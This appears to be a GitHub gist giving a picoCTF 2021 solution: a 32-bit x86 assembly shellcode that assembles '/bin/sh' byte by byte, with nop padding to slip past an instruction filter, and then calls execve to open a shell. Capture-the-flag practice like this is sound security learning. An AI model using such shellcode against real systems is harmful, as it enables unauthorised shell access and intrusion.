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MEhrn00/filtered-shellcode.s

Created April 9, 2021 18:51
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picoctf 2021 filtered shellcode solution
Raw
filtered-shellcode.s
BITS 32
global _start
section .text
_start:
xor eax, eax
push eax
push eax
push eax
push eax
mov edi, esp
mov al, 0x2f
add [edi], al
inc edi
nop
mov al, 0x62
add [edi], al
inc edi
nop
mov al, 0x69
add [edi], al
inc edi
nop
mov al, 0x6e
add [edi], al
inc edi
nop
mov al, 0x2f
add [edi], al
inc edi
nop
mov al, 0x73
add [edi], al
inc edi
nop
mov al, 0x68
add [edi], al
inc edi
nop
xor ebx, ebx
xor ecx, ecx
mov al, 0xb
mov ebx, esp
cdq
nop
int 0x80
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